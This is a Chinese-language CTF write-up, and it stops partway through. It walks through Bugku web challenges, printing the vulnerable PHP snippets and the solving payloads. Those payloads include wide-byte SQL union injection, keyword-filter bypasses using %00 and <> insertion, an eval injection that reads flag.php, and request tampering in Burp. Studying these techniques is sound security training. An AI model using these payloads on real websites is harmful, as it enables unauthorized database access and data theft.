Web部分
注:Bugku注入题总结见:链接
web2
点开以后发现是满屏的滑稽,按照国际惯例,查看源代码发现flag
文件上传测试
用burp抓包修改文件名后缀为.php
计算器
修改最大长度限制
web基础$_GET
题目如下
$what=$_GET['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
直接输入?what=flag
web基础$_POST
题目如下
$what=$_POST['what'];
echo $what;
if($what=='flag')
echo 'flag{****}';
(这里用的火狐浏览器插件HackBar)
矛盾
题目代码如下
$num=$_GET['num'];
if(!is_numeric($num))
{
echo $num;
if($num==1)
echo 'flag{**********}';
}
随便输入一个以1开头的字符串
也可以利用is_numeric()遇到%00截断的漏洞,构造?num=1%00
Web3
打开页面一直在弹窗,直接查看源代码,在最底端发现可疑编码,转码可得flag
sql注入
查看源代码发现是网页编码是gb2312,想到宽字节注入
果然输入1%df’ 被转换成了1運
?id=1%bf' and version()>0--+
返回正确,则数据库可能为sqlserver和mysql
?id=1%bf' and length(user())>0 --+
返回正确,说明存在user()函数,是mysql数据库
输入?id=1%df' order by 2 --+
正常回显
输入?id=1%df' order by 3 --+
显示Unknown column ‘3’ in ‘order clause’
可得一共有两列
输入?id=1%df' union select database(),2 --+
得知数据库名为sql5
输入?id=1%df' union select 1,string from sql5.key --+
可得
域名解析
打开linux虚拟机,在终端输入sudo gedit /etc/hosts
添加120.24.86.145 flag.bugku.com
保存,直接访问flag.bugku.com
SQL注入1
题目过滤了关键字
//过滤sql
$array = array('table','union','and','or','load_file','create','delete','select','update','sleep','alter','drop','truncate','from','max','min','order','limit');
foreach ($array as $value)
{
if (substr_count($id, $value) > 0)
{
exit('包含敏感关键字!'.$value);
}
}
//xss过滤
$id = strip_tags($id);
$query = "SELECT * FROM temp WHERE id={$id} LIMIT 1";
可以用%00或者加<>绕过关键词过滤
输入?id=1 uni%00on sel%00ect 1,database() --+
得数据库名为sql3
或者这样构造:?id=1 un<>ion sel<>ect 1,database() --+
(因为这句$id = strip_tags($id);
会把<>替换为空)
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签。
输入?id=1 uni%00on sel%00ect 1,hash fr%00om sql3.key --+
得到flag
你必须让他停下
用burp抓包后一直foward,会看到带有flag的页面,或者发送到Repeater
本地包含
题目
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
?>
file() 函数把整个文件读入一个数组中。
看到eval( "var_dump($a);");
这句,会输出$a的结构,若是数组将递归展开值,通过缩进显示其结构。
所以可以利用file()函数,把flag.php文件读入数组。
构造:?hello=file('flag.php')
变量1
题目如下
<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){
$args = $_GET['args&#